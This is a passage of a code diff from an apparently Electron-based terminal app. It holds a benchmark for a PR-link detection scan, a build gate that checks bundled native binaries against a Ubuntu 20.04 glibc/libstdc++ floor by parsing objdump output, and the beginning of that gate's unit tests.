: value.slice(schemeIndex)
|
||||
}
|
||||
return endsWithHttpSchemePrefixFragment(value)
|
||||
}
|
||||
|
||||
// Post-fix implementation, mirroring src/shared/terminal-github-pr-link-detector.ts.
|
||||
function lastIndexOfHttpScheme(value, fromIndex) {
|
||||
let lastIndex = -1
|
||||
for (const prefix of HTTP_SCHEME_PREFIXES) {
|
||||
const candidate =
|
||||
fromIndex === undefined ? value.lastIndexOf(prefix) : value.lastIndexOf(prefix, fromIndex)
|
||||
if (candidate > lastIndex) {
|
||||
lastIndex = candidate
|
||||
}
|
||||
}
|
||||
return lastIndex
|
||||
}
|
||||
|
||||
function carryAfter(value) {
|
||||
const windowStart = value.length > MAX_CARRY_LENGTH ? value.length - MAX_CARRY_LENGTH : 0
|
||||
const window = windowStart === 0 ? value : value.slice(windowStart)
|
||||
const schemeIndexInWindow = lastIndexOfHttpScheme(window)
|
||||
if (schemeIndexInWindow !== -1) {
|
||||
const schemeIndex = windowStart + schemeIndexInWindow
|
||||
return hasTerminalUrlWhitespace(value, schemeIndex, value.length)
|
||||
? ''
|
||||
: value.slice(schemeIndex)
|
||||
}
|
||||
const fragment = endsWithHttpSchemePrefixFragment(window)
|
||||
if (fragment === '' || windowStart === 0) {
|
||||
return fragment
|
||||
}
|
||||
return lastIndexOfHttpScheme(value, windowStart - 1) === -1 ? fragment : ''
|
||||
}
|
||||
|
||||
const GITHUB_PR_PATH_MARKER = '/pull/'
|
||||
|
||||
// Agent TUI output: no scheme anywhere, which is the overwhelmingly common case
|
||||
// and the one where the old code scanned the full chunk to return ''. `tail`
|
||||
// forces the chunk to end mid-scheme so the fallback branch is measured too.
|
||||
function makeChunk(bytes, tail = '') {
|
||||
const line = 'build output line with some text and punctuation, id=12345\n'
|
||||
const filled = line.repeat(Math.ceil(bytes / line.length)).slice(0, bytes)
|
||||
return tail ? filled.slice(0, bytes - tail.length) + tail : filled
|
||||
}
|
||||
|
||||
// Why measure this too: the detector runs includes() over the whole chunk before
|
||||
// the carry scan and the fix does not touch that cost, so timing the carry alone
|
||||
// reports a win the hot path cannot actually realize. These fixtures never hold
|
||||
// the marker, so this mirrors the early-out branch ordinary output takes.
|
||||
function detectorEarlyOut(carry, value) {
|
||||
if (value.includes(GITHUB_PR_PATH_MARKER)) {
|
||||
throw new Error('benchmark fixture unexpectedly contains the PR marker')
|
||||
}
|
||||
return carry(value)
|
||||
}
|
||||
|
||||
function measure(fn, chunk) {
|
||||
for (let index = 0; index < WARMUP; index += 1) {
|
||||
fn(chunk)
|
||||
}
|
||||
const samples = []
|
||||
for (let round = 0; round < 5; round += 1) {
|
||||
const start = performance.now()
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
fn(chunk)
|
||||
}
|
||||
samples.push((performance.now() - start) / ITERATIONS)
|
||||
}
|
||||
samples.sort((a, b) => a - b)
|
||||
return samples[2]
|
||||
}
|
||||
|
||||
// Why non-empty fixtures: a chunk of ordinary text yields '' from both versions,
|
||||
// so an equality check over it would pass even for a carry that always returns ''.
|
||||
const EQUIVALENCE_FIXTURES = [
|
||||
`noise ${'x'.repeat(400)}https://github.com/acme/orca/pull/7`,
|
||||
`https://github.com/acme/orca/pull/1${'x'.repeat(600)}`,
|
||||
`https://github.com/acme/orca/pull/1${'x'.repeat(600)}https`,
|
||||
`${'x'.repeat(1000)}https`,
|
||||
`${'x'.repeat(1000)}http`,
|
||||
'https://github.com/acme/orca/pull/7 trailing words',
|
||||
`${'y'.repeat(600)}`,
|
||||
'',
|
||||
'https://github.com/acme/orca/pull/7'
|
||||
]
|
||||
for (const fixture of EQUIVALENCE_FIXTURES) {
|
||||
if (carryBefore(fixture) !== carryAfter(fixture)) {
|
||||
throw new Error(
|
||||
`carry mismatch on fixture (len ${fixture.length}): ${JSON.stringify(carryBefore(fixture))} vs ${JSON.stringify(carryAfter(fixture))}`
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
const SIZES = [4 * 1024, 16 * 1024, 64 * 1024, 256 * 1024, 1024 * 1024]
|
||||
const rows = []
|
||||
for (const bytes of SIZES) {
|
||||
const chunk = makeChunk(bytes)
|
||||
// 'with' ends in 'h', so the chunk terminates on a partial scheme fragment and
|
||||
// the new code pays the extra bounded probe behind the window.
|
||||
const fragmentChunk = makeChunk(bytes, 'with')
|
||||
for (const sample of [chunk, fragmentChunk]) {
|
||||
if (carryBefore(sample) !== carryAfter(sample)) {
|
||||
throw new Error(`carry mismatch at ${bytes} bytes`)
|
||||
}
|
||||
}
|
||||
rows.push({
|
||||
chunk: `${(bytes / 1024).toFixed(0)} KiB`,
|
||||
carry: measure(carryBefore, chunk) / measure(carryAfter, chunk),
|
||||
path:
|
||||
measure((value) => detectorEarlyOut(carryBefore, value), chunk) /
|
||||
measure((value) => detectorEarlyOut(carryAfter, value), chunk),
|
||||
fragment: measure(carryBefore, fragmentChunk) / measure(carryAfter, fragmentChunk)
|
||||
})
|
||||
}
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('PR-link carry scan, per PTY chunk. Speedup = before / after (>1 is faster).')
|
||||
console.log(`iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`)
|
||||
console.log(
|
||||
`${pad('chunk', 9)} ${pad('carry only', 12)} ${pad('detector path', 15)} ${pad('fragment tail', 15)}`
|
||||
)
|
||||
for (const row of rows) {
|
||||
console.log(
|
||||
`${pad(row.chunk, 9)} ${pad(`${row.carry.toFixed(1)}x`, 12)} ${pad(`${row.path.toFixed(1)}x`, 15)} ${pad(`${row.fragment.toFixed(2)}x`, 15)}`
|
||||
)
|
||||
}
|
||||
console.log(
|
||||
'\ncarry only = the scan this change bounds, in isolation.\n' +
|
||||
'detector path = includes() + carry, i.e. what the PTY hot path actually saves.\n' +
|
||||
'fragment tail = chunk ending mid-scheme, where the new code pays an extra\n' +
|
||||
' bounded probe. ~1x means the fallback costs nothing material.'
|
||||
)
|
||||
@@ -0,0 +1,394 @@
|
||||
const { readdirSync, openSync, readSync, closeSync } = require('node:fs')
|
||||
const { spawnSync } = require('node:child_process')
|
||||
const { join, relative } = require('node:path')
|
||||
|
||||
// Why: v1.4.150 shipped a Linux build whose node-pty pty.node required
|
||||
// GLIBC_2.34 (openpty/forkpty were relocated into libc by glibc's
|
||||
// libutil/libpthread merge), so the app crashed on startup on Ubuntu 20.04
|
||||
// (glibc 2.31) — the runner image silently bumped the build-host glibc. This
|
||||
// gate fails Linux packaging if any bundled native binary requires a glibc (or
|
||||
// libstdc++) symbol version newer than stock Ubuntu 20.04 ships, so a future
|
||||
// runner bump or dependency change cannot reintroduce the regression unnoticed.
|
||||
// See docs/reference/linux-glibc-compatibility.md.
|
||||
const MIN_GLIBC = Object.freeze([2, 31])
|
||||
|
||||
// The symbol-version families this gate checks, each with the highest version
|
||||
// node stock Ubuntu 20.04 provides. glibc is the #9902 launch-crash axis;
|
||||
// libstdc++ (GLIBCXX_/CXXABI_) is the same crash class for C++ native modules
|
||||
// against the system libstdc++ (Orca does not bundle one).
|
||||
const VERSION_FLOORS = Object.freeze([
|
||||
Object.freeze({ prefix: 'GLIBC_', floor: MIN_GLIBC }),
|
||||
Object.freeze({ prefix: 'GLIBCXX_', floor: Object.freeze([3, 4, 28]) }),
|
||||
Object.freeze({ prefix: 'CXXABI_', floor: Object.freeze([1, 3, 12]) })
|
||||
])
|
||||
const FLOOR_LABEL = 'Ubuntu 20.04 (glibc 2.31 / libstdc++ GLIBCXX_3.4.28)'
|
||||
|
||||
// Why: the sherpa-onnx speech prebuilt is a third-party manylinux binary that
|
||||
// already requires GLIBCXX_3.4.29 (GCC 11 / Ubuntu 21.10+, 22.04 LTS). It loads
|
||||
// lazily in the speech worker (src/main/speech/stt-worker.ts), never at app
|
||||
// launch, so it cannot cause the #9902 startup crash. Exempt it from the
|
||||
// libstdc++ floor (its glibc is still gated) rather than fail the release on a
|
||||
// pre-existing, non-launch condition — speech needs libstdc++ >= GCC 11.
|
||||
const LIBSTDCXX_FLOOR_EXEMPT = /(?:^|[/\\])sherpa-onnx/
|
||||
|
||||
// VER_FLG_WEAK: a version need whose references are all weak. The loader
|
||||
// tolerates its absence (resolves to null and the caller's fallback runs)
|
||||
// instead of refusing to load, so a weak need must not count as a requirement.
|
||||
const VER_FLG_WEAK = 0x2
|
||||
|
||||
/** Parse a "2.34" / "3.4.28" version string into a numeric tuple. */
|
||||
function parseGlibcVersion(versionStr) {
|
||||
return versionStr.split('.').map((part) => Number.parseInt(part, 10))
|
||||
}
|
||||
|
||||
/** Compare two numeric version tuples; missing trailing parts are 0. */
|
||||
function compareGlibcVersions(a, b) {
|
||||
const length = Math.max(a.length, b.length)
|
||||
for (let i = 0; i < length; i += 1) {
|
||||
const diff = (a[i] ?? 0) - (b[i] ?? 0)
|
||||
if (diff !== 0) {
|
||||
return diff < 0 ? -1 : 1
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse `objdump -p` "Version References" (the ELF `.gnu.version_r` section)
|
||||
* into the version nodes this binary requires from each shared library. This is
|
||||
* the authoritative load-time requirement list: unlike the dynamic symbol table
|
||||
* (`objdump -T`), it also captures symbol-less ABI markers such as
|
||||
* `GLIBC_ABI_DT_RELR` (packed relative relocations, glibc 2.36+) that still
|
||||
* block loading on an older glibc. Each entry: `0xHASH 0xFLAGS <n> <NAME>`.
|
||||
*/
|
||||
function parseVersionNeeds(objdumpOutput) {
|
||||
const needs = []
|
||||
let library = null
|
||||
let inSection = false
|
||||
for (const line of objdumpOutput.split('\n')) {
|
||||
if (line.startsWith('Version References:')) {
|
||||
inSection = true
|
||||
continue
|
||||
}
|
||||
if (!inSection) {
|
||||
continue
|
||||
}
|
||||
// Any new non-indented line ends the Version References block.
|
||||
if (!/^\s/.test(line)) {
|
||||
inSection = false
|
||||
continue
|
||||
}
|
||||
const libraryMatch = line.match(/^\s+required from (\S+):/)
|
||||
if (libraryMatch) {
|
||||
library = libraryMatch[1]
|
||||
continue
|
||||
}
|
||||
const entryMatch = line.match(/^\s+0x[0-9a-fA-F]+\s+0x([0-9a-fA-F]+)\s+\d+\s+(\S+)/)
|
||||
if (entryMatch) {
|
||||
const flags = Number.parseInt(entryMatch[1], 16)
|
||||
needs.push({ library, name: entryMatch[2], weak: (flags & VER_FLG_WEAK) !== 0 })
|
||||
}
|
||||
}
|
||||
return needs
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether a version node is newer than the floor Ubuntu 20.04 provides. Numeric
|
||||
* nodes (`GLIBC_2.34`, `GLIBCXX_3.4.29`) compare by version. Any non-numeric
|
||||
* glibc node is rejected: `GLIBC_ABI_DT_RELR` is a 2.36+ marker, and
|
||||
* `GLIBC_PRIVATE` is not a stable ABI contract — its symbols differ across
|
||||
* glibc releases, so a binary needing one can fail to load on the floor even
|
||||
* though the version node itself exists (a well-formed addon needs neither).
|
||||
* Named libstdc++ nodes (`CXXABI_TM_1`, `GLIBCXX_LDBL_*`) ship on 20.04.
|
||||
* Families we do not gate (`GCC_`, `NSS_`) return false.
|
||||
*/
|
||||
function isVersionNodeAboveFloor(name) {
|
||||
for (const { prefix, floor } of VERSION_FLOORS) {
|
||||
if (!name.startsWith(prefix)) {
|
||||
continue
|
||||
}
|
||||
const rest = name.slice(prefix.length)
|
||||
if (/^[0-9]+(?:\.[0-9]+)*$/.test(rest)) {
|
||||
return compareGlibcVersions(parseGlibcVersion(rest), floor) > 0
|
||||
}
|
||||
// Non-numeric suffix: reject every glibc node (ABI markers and PRIVATE).
|
||||
return prefix === 'GLIBC_'
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
function isLibstdcxxNode(name) {
|
||||
return name.startsWith('GLIBCXX_') || name.startsWith('CXXABI_')
|
||||
}
|
||||
|
||||
/**
|
||||
* Version needs from `filePath` that would prevent loading on the floor OS.
|
||||
* `sherpa-onnx` is exempt from the libstdc++ floor (see LIBSTDCXX_FLOOR_EXEMPT)
|
||||
* but its glibc needs are still checked.
|
||||
*/
|
||||
function findFloorViolations(needs, filePath = '') {
|
||||
const exemptLibstdcxx = LIBSTDCXX_FLOOR_EXEMPT.test(filePath)
|
||||
return needs.filter(
|
||||
(need) =>
|
||||
!need.weak &&
|
||||
isVersionNodeAboveFloor(need.name) &&
|
||||
!(exemptLibstdcxx && isLibstdcxxNode(need.name))
|
||||
)
|
||||
}
|
||||
|
||||
// On stock Ubuntu 20.04 (glibc 2.31) these symbols live ONLY in these DSOs —
|
||||
// glibc kept openpty/forkpty in libutil until the 2.34 merge. A binary that
|
||||
// imports them must keep the DSO in DT_NEEDED or they will not resolve on the
|
||||
// floor. This guards config/patches/node-pty@1.1.0.patch's forced
|
||||
// `-l:libutil.so.1`: if a toolchain change ever dropped that ldflag, the pinned
|
||||
// openpty@GLIBC_2.2.5 would still resolve from libc's compat alias at build time
|
||||
// (so the version-floor check passes) yet fail to load on 20.04. libpthread
|
||||
// (pthread_sigmask) is intentionally omitted — the Node/Electron host always
|
||||
// loads it, so it resolves regardless of this addon's DT_NEEDED.
|
||||
const RELOCATED_SYMBOL_PROVIDERS = Object.freeze({
|
||||
openpty: 'libutil.so.1',
|
||||
forkpty: 'libutil.so.1'
|
||||
})
|
||||
|
||||
/**
|
||||
* Relocated symbols the binary imports whose providing DSO is absent from
|
||||
* DT_NEEDED — meaning they resolve at build time but not on the floor OS.
|
||||
*/
|
||||
function findMissingProviderDeps(importedSymbols, neededLibraries) {
|
||||
const missing = []
|
||||
for (const [symbol, library] of Object.entries(RELOCATED_SYMBOL_PROVIDERS)) {
|
||||
if (importedSymbols.has(symbol) && !neededLibraries.has(library)) {
|
||||
missing.push({ symbol, library })
|
||||
}
|
||||
}
|
||||
return missing
|
||||
}
|
||||
|
||||
function isElfFile(filePath) {
|
||||
let fd
|
||||
try {
|
||||
fd = openSync(filePath, 'r')
|
||||
const header = Buffer.alloc(4)
|
||||
const bytesRead = readSync(fd, header, 0, 4, 0)
|
||||
return bytesRead === 4 && header[0] === 0x7f && header.toString('latin1', 1, 4) === 'ELF'
|
||||
} catch {
|
||||
return false
|
||||
} finally {
|
||||
if (fd !== undefined) {
|
||||
closeSync(fd)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/** Recursively collect ELF native binaries (`.node`, `.so[.N]`, executables). */
|
||||
function collectNativeBinaries(rootDir) {
|
||||
const binaries = []
|
||||
const walk = (dir) => {
|
||||
let entries
|
||||
try {
|
||||
entries = readdirSync(dir, { withFileTypes: true })
|
||||
} catch {
|
||||
return
|
||||
}
|
||||
for (const entry of entries) {
|
||||
const fullPath = join(dir, entry.name)
|
||||
if (entry.isSymbolicLink()) {
|
||||
continue
|
||||
}
|
||||
if (entry.isDirectory()) {
|
||||
walk(fullPath)
|
||||
continue
|
||||
}
|
||||
if (!entry.isFile()) {
|
||||
continue
|
||||
}
|
||||
// Why: .node/.so are always native; extensionless files (the Electron
|
||||
// executable, chrome-sandbox) are checked via the ELF magic so we cover
|
||||
// every launch-critical binary without objdump-ing app.asar or assets.
|
||||
const looksNative = entry.name.endsWith('.node') || /\.so(\.\d+)*$/.test(entry.name)
|
||||
if (looksNative || !entry.name.includes('.')) {
|
||||
if (isElfFile(fullPath)) {
|
||||
binaries.push(fullPath)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
walk(rootDir)
|
||||
return binaries.sort()
|
||||
}
|
||||
|
||||
function resolveObjdump(explicitPath) {
|
||||
const candidates = [explicitPath, 'objdump', 'llvm-objdump'].filter(Boolean)
|
||||
for (const candidate of candidates) {
|
||||
const probe = spawnSync(candidate, ['--version'], { encoding: 'utf8', env: cLocaleEnv() })
|
||||
if (!probe.error && probe.status === 0) {
|
||||
return candidate
|
||||
}
|
||||
}
|
||||
return null
|
||||
}
|
||||
|
||||
// Why: GNU objdump localizes its section headers ("Version References:") via
|
||||
// gettext, and the parser anchors on the English text. Force the C locale so
|
||||
// output stays deterministic on non-English packaging hosts (LC_ALL=C also
|
||||
// disables LANGUAGE-based message translation).
|
||||
function cLocaleEnv() {
|
||||
return { ...process.env, LC_ALL: 'C', LANG: 'C' }
|
||||
}
|
||||
|
||||
/**
|
||||
* Run objdump with one flag on `filePath`. Fail-closed: a spawn error, non-zero
|
||||
* exit, or signal throws, because a silently-unreadable binary (truncated,
|
||||
* corrupt, or an objdump that cannot decode its format) would let a too-new
|
||||
* binary slip past the gate.
|
||||
*/
|
||||
function runObjdump(objdumpPath, flag, filePath) {
|
||||
const result = spawnSync(objdumpPath, [flag, filePath], {
|
||||
encoding: 'utf8',
|
||||
maxBuffer: 64 * 1024 * 1024,
|
||||
env: cLocaleEnv()
|
||||
})
|
||||
if (result.error) {
|
||||
throw new Error(
|
||||
`[verify-linux-glibc-floor] could not run objdump on ${filePath}: ${result.error.message}`
|
||||
)
|
||||
}
|
||||
if (result.signal || result.status !== 0) {
|
||||
throw new Error(
|
||||
`[verify-linux-glibc-floor] objdump ${flag} failed for ${filePath} ` +
|
||||
`(status ${result.status}, signal ${result.signal ?? 'none'}): ${(result.stderr || '').trim()}`
|
||||
)
|
||||
}
|
||||
return result.stdout || ''
|
||||
}
|
||||
|
||||
/** DT_NEEDED shared-library names from `objdump -p` (` NEEDED <lib>`). */
|
||||
function parseNeededLibraries(objdumpOutput) {
|
||||
const needed = new Set()
|
||||
for (const line of objdumpOutput.split('\n')) {
|
||||
const match = line.match(/^\s+NEEDED\s+(\S+)/)
|
||||
if (match) {
|
||||
needed.add(match[1])
|
||||
}
|
||||
}
|
||||
return needed
|
||||
}
|
||||
|
||||
/** Undefined (imported) dynamic symbol base names from `objdump -T` (`*UND*`). */
|
||||
function parseImportedSymbols(objdumpOutput) {
|
||||
const imported = new Set()
|
||||
for (const line of objdumpOutput.split('\n')) {
|
||||
if (!line.includes('*UND*')) {
|
||||
continue
|
||||
}
|
||||
// The symbol name is the final token; strip any @VERSION suffix.
|
||||
const token = line.trim().split(/\s+/).pop()
|
||||
if (token) {
|
||||
imported.add(token.split('@')[0])
|
||||
}
|
||||
}
|
||||
return imported
|
||||
}
|
||||
|
||||
/** Version needs + DT_NEEDED from a single `objdump -p` (fail-closed). */
|
||||
function readDynamicInfo(filePath, objdumpPath) {
|
||||
const output = runObjdump(objdumpPath, '-p', filePath)
|
||||
return {
|
||||
versionNeeds: parseVersionNeeds(output),
|
||||
neededLibraries: parseNeededLibraries(output)
|
||||
}
|
||||
}
|
||||
|
||||
/** Imported (undefined) dynamic symbols from `objdump -T` (fail-closed). */
|
||||
function readImportedSymbols(filePath, objdumpPath) {
|
||||
return parseImportedSymbols(runObjdump(objdumpPath, '-T', filePath))
|
||||
}
|
||||
|
||||
/**
|
||||
* Fail Linux packaging if any bundled native binary under `rootDir` requires a
|
||||
* glibc/libstdc++ symbol version newer than the floor OS. No-op is not allowed
|
||||
* on Linux: a missing objdump throws, because a silent skip would defeat the
|
||||
* regression gate on exactly the host where it matters.
|
||||
*/
|
||||
function verifyLinuxGlibcFloor(rootDir, options = {}) {
|
||||
const binaries = collectNativeBinaries(rootDir)
|
||||
if (binaries.length === 0) {
|
||||
console.log(`[verify-linux-glibc-floor] OK — no bundled native binaries under ${rootDir}`)
|
||||
return
|
||||
}
|
||||
|
||||
// Why: resolve objdump only once there is something to inspect, so a fixture
|
||||
// with no ELF binaries does not fail on a host that lacks binutils.
|
||||
const objdumpPath = resolveObjdump(options.objdumpPath)
|
||||
if (!objdumpPath) {
|
||||
throw new Error(
|
||||
'[verify-linux-glibc-floor] objdump not found. Install binutils on the Linux ' +
|
||||
'packaging host so the glibc-floor gate can inspect bundled native binaries.'
|
||||
)
|
||||
}
|
||||
|
||||
const offenders = []
|
||||
for (const filePath of binaries) {
|
||||
const { versionNeeds, neededLibraries } = readDynamicInfo(filePath, objdumpPath)
|
||||
const floorViolations = findFloorViolations(versionNeeds, filePath)
|
||||
// Only pay for `objdump -T` when a relocated-symbol provider is not already
|
||||
// in DT_NEEDED (the common, healthy case short-circuits without it).
|
||||
const providerViolations = Object.values(RELOCATED_SYMBOL_PROVIDERS).some(
|
||||
(library) => !neededLibraries.has(library)
|
||||
)
|
||||
? findMissingProviderDeps(readImportedSymbols(filePath, objdumpPath), neededLibraries)
|
||||
: []
|
||||
if (floorViolations.length > 0 || providerViolations.length > 0) {
|
||||
offenders.push({ filePath, floorViolations, providerViolations })
|
||||
}
|
||||
}
|
||||
|
||||
if (offenders.length > 0) {
|
||||
const detail = offenders
|
||||
.map(({ filePath, floorViolations, providerViolations }) => {
|
||||
const reasons = []
|
||||
if (floorViolations.length > 0) {
|
||||
const nodes = [...new Set(floorViolations.map((v) => v.name))].sort()
|
||||
const libraries = [...new Set(floorViolations.map((v) => v.library).filter(Boolean))]
|
||||
reasons.push(
|
||||
`needs ${nodes.join(', ')}${libraries.length > 0 ? ` (from ${libraries.join(', ')})` : ''}`
|
||||
)
|
||||
}
|
||||
for (const { symbol, library } of providerViolations) {
|
||||
reasons.push(`imports ${symbol} but ${library} is not in DT_NEEDED`)
|
||||
}
|
||||
return ` ${relative(rootDir, filePath) || filePath} ${reasons.join('; ')}`
|
||||
})
|
||||
.join('\n')
|
||||
throw new Error(
|
||||
`[verify-linux-glibc-floor] ${offenders.length} bundled native binar${offenders.length === 1 ? 'y' : 'ies'} ` +
|
||||
`will not load on ${FLOOR_LABEL}, so the app will crash on startup there:\n${detail}\n` +
|
||||
'See docs/reference/linux-glibc-compatibility.md — rebuild the offending module against an older ' +
|
||||
'toolchain or pin the relocated symbols (as config/patches/node-pty@1.1.0.patch does).'
|
||||
)
|
||||
}
|
||||
|
||||
console.log(
|
||||
`[verify-linux-glibc-floor] OK — ${binaries.length} bundled native binaries all load on ${FLOOR_LABEL}`
|
||||
)
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
MIN_GLIBC,
|
||||
VERSION_FLOORS,
|
||||
FLOOR_LABEL,
|
||||
RELOCATED_SYMBOL_PROVIDERS,
|
||||
parseGlibcVersion,
|
||||
compareGlibcVersions,
|
||||
parseVersionNeeds,
|
||||
parseNeededLibraries,
|
||||
parseImportedSymbols,
|
||||
isVersionNodeAboveFloor,
|
||||
isLibstdcxxNode,
|
||||
findFloorViolations,
|
||||
findMissingProviderDeps,
|
||||
collectNativeBinaries,
|
||||
readDynamicInfo,
|
||||
readImportedSymbols,
|
||||
verifyLinuxGlibcFloor
|
||||
}
|
||||
@@ -0,0 +1,323 @@
|
||||
import { mkdtemp, mkdir, writeFile, symlink, rm } from 'node:fs/promises'
|
||||
import { createRequire } from 'node:module'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
const require = createRequire(import.meta.url)
|
||||
const {
|
||||
parseGlibcVersion,
|
||||
compareGlibcVersions,
|
||||
parseVersionNeeds,
|
||||
parseNeededLibraries,
|
||||
parseImportedSymbols,
|
||||
isVersionNodeAboveFloor,
|
||||
findFloorViolations,
|
||||
findMissingProviderDeps,
|
||||
collectNativeBinaries,
|
||||
verifyLinuxGlibcFloor
|
||||
} = require('./verify-linux-glibc-floor.cjs')
|
||||
|
||||
// 0x7f 'E' 'L' 'F' + class/data/version padding — enough for the magic check.
|
||||
const ELF_HEADER = Buffer.from([0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00])
|
||||
|
||||
// Real `objdump -p` "Version References" shape (entry: 0xHASH 0xFLAGS <n> NAME;
|
||||
// flags 0x02 = VER_FLG_WEAK). Includes a symbol-less ABI marker, a weak need,
|
||||
// and a libstdc++ need.
|
||||
const OBJDUMP_P = [
|
||||
'Dynamic Section:',
|
||||
' NEEDED libc.so.6',
|
||||
'',
|
||||
'Version References:',
|
||||
' required from libc.so.6:',
|
||||
' 0x09691a75 0x00 06 GLIBC_2.2.5',
|
||||
' 0x069691b4 0x00 05 GLIBC_2.34',
|
||||
' 0x0d696914 0x02 04 GLIBC_2.18',
|
||||
' 0x00fd0e42 0x00 03 GLIBC_ABI_DT_RELR',
|
||||
' required from libstdc++.so.6:',
|
||||
' 0x0b481abc 0x00 07 GLIBCXX_3.4.29',
|
||||
''
|
||||
].join('\n')
|
||||
|
||||
describe('verify-linux-glibc-floor parsing', () => {
|
||||
it('parses and compares numeric version tuples', () => {
|
||||
expect(parseGlibcVersion('2.34')).toEqual([2, 34])
|
||||
expect(parseGlibcVersion('3.4.28')).toEqual([3, 4, 28])
|
||||
expect(compareGlibcVersions([2, 2, 5], [2, 14])).toBe(-1)
|
||||
expect(compareGlibcVersions([2, 31], [2, 32])).toBe(-1)
|
||||
expect(compareGlibcVersions([2, 34], [2, 31])).toBe(1)
|
||||
expect(compareGlibcVersions([2, 31], [2, 31])).toBe(0)
|
||||
expect(compareGlibcVersions([2, 31], [2, 31, 0])).toBe(0)
|
||||
expect(compareGlibcVersions([3, 4, 29], [3, 4, 28])).toBe(1)
|
||||
})
|
||||
|
||||
it('parses objdump -p Version References into per-library version needs', () => {
|
||||
const needs = parseVersionNeeds(OBJDUMP_P)
|
||||
expect(needs).toContainEqual({ library: 'libc.so.6', name: 'GLIBC_2.34', weak: false })
|
||||
expect(needs).toContainEqual({ library: 'libc.so.6', name: 'GLIBC_ABI_DT_RELR', weak: false })
|
||||
expect(needs).toContainEqual({ library: 'libc.so.6', name: 'GLIBC_2.18', weak: true })
|
||||
expect(needs).toContainEqual({ library: 'libstdc++.so.6', name: 'GLIBCXX_3.4.29', weak: false })
|
||||
})
|
||||
|
||||
it('classifies version nodes across glibc and libstdc++ families', () => {
|
||||
expect(isVersionNodeAboveFloor('GLIBC_2.34')).toBe(true)
|
||||
expect(isVersionNodeAboveFloor('GLIBC_2.31')).toBe(false)
|
||||
expect(isVersionNodeAboveFloor('GLIBC_ABI_DT_RELR')).toBe(true) // symbol-less marker (2.36+)
|
||||
// GLIBC_PRIVATE is not a stable ABI contract; a needed private symbol can be
|
||||
// absent on the floor even though the version node exists — reject it.
|
||||
expect(isVersionNodeAboveFloor('GLIBC_PRIVATE')).toBe(true)
|
||||
expect(isVersionNodeAboveFloor('CXXABI_TM_1')).toBe(false) // named libstdc++ node on 20.04
|
||||
expect(isVersionNodeAboveFloor('GLIBCXX_3.4.29')).toBe(true) // GCC 11, above 20.04's 3.4.28
|
||||
expect(isVersionNodeAboveFloor('GLIBCXX_3.4.28')).toBe(false)
|
||||
expect(isVersionNodeAboveFloor('CXXABI_1.3.13')).toBe(true)
|
||||
expect(isVersionNodeAboveFloor('CXXABI_1.3.12')).toBe(false)
|
||||
expect(isVersionNodeAboveFloor('GCC_3.0')).toBe(false) // family not gated
|
||||
})
|
||||
|
||||
it('flags strong too-new glibc + libstdc++ needs, skipping weak and ungated families', () => {
|
||||
const violations = findFloorViolations(parseVersionNeeds(OBJDUMP_P), '/opt/app/pty.node')
|
||||
const names = violations.map((v) => v.name).sort()
|
||||
// GLIBC_2.34, GLIBC_ABI_DT_RELR, GLIBCXX_3.4.29 fail; weak GLIBC_2.18 and
|
||||
// GLIBC_2.2.5 are excluded.
|
||||
expect(names).toEqual(['GLIBCXX_3.4.29', 'GLIBC_2.34', 'GLIBC_ABI_DT_RELR'].sort())
|
||||
})
|
||||
|
||||
it('exempts sherpa-onnx from the libstdc++ floor but still gates its glibc', () => {
|
||||
const needs = [
|
||||
{ library: 'libstdc++.so.6', name: 'GLIBCXX_3.4.29', weak: false },
|
||||
{ library: 'libc.so.6', name: 'GLIBC_2.34', weak: false }
|
||||
]
|
||||
// A launch-critical module: both are violations.
|
||||
expect(
|
||||
findFloorViolations(needs, '/opt/app/node_modules/node-pty/pty.node').map((v) => v.name)
|
||||
).toEqual(['GLIBCXX_3.4.29', 'GLIBC_2.34'])
|
||||
// sherpa: GLIBCXX exempt (lazy speech prebuilt), glibc still enforced.
|
||||
expect(
|
||||
findFloorViolations(
|
||||
needs,
|
||||
'/opt/app/node_modules/sherpa-onnx-linux-x64/sherpa-onnx.node'
|
||||
).map((v) => v.name)
|
||||
).toEqual(['GLIBC_2.34'])
|
||||
})
|
||||
|
||||
it('reports no violations when every strong need is at or below the floor', () => {
|
||||
const needs = parseVersionNeeds(
|
||||
[
|
||||
'Version References:',
|
||||
' required from libc.so.6:',
|
||||
' 0x00 0x00 02 GLIBC_2.2.5',
|
||||
' 0x00 0x00 03 GLIBC_2.28',
|
||||
' required from libstdc++.so.6:',
|
||||
' 0x00 0x00 04 GLIBCXX_3.4.22'
|
||||
].join('\n')
|
||||
)
|
||||
expect(findFloorViolations(needs, '/opt/app/pty.node')).toEqual([])
|
||||
})
|
||||
})
|
||||
|
||||
describe('DT_NEEDED provider check', () => {
|
||||
const OBJDUMP_P_DYNAMIC = [
|
||||
'Dynamic Section:',
|
||||
' NEEDED libutil.so.1',
|
||||
' NEEDED libpthread.so.0',
|
||||
' NEEDED libc.so.6',
|
||||
'',
|
||||
'Version References:',
|
||||
' required from libc.so.6:',
|
||||
' 0x0 0x00 02 GLIBC_2.2.5'
|
||||
].join('\n')
|
||||
|
||||
it('parses DT_NEEDED shared libraries from objdump -p', () => {
|
||||
const needed = parseNeededLibraries(OBJDUMP_P_DYNAMIC)
|
||||
expect([...needed].sort()).toEqual(['libc.so.6', 'libpthread.so.0', 'libutil.so.1'])
|
||||
})
|
||||
|
||||
it('parses undefined imported symbols from objdump -T, stripping @VERSION', () => {
|
||||
const output = [
|
||||
'0000000000000000 DF *UND*\t0000000000000000 (GLIBC_2.2.5) openpty',
|
||||
'0000000000000000 w DF *UND*\t0000000000000000 __cxa_finalize@GLIBC_2.2.5',
|
||||
'0000000000000000 DF .text\t0000000000000000 defined_symbol'
|
||||
].join('\n')
|
||||
const imported = parseImportedSymbols(output)
|
||||
expect(imported.has('openpty')).toBe(true)
|
||||
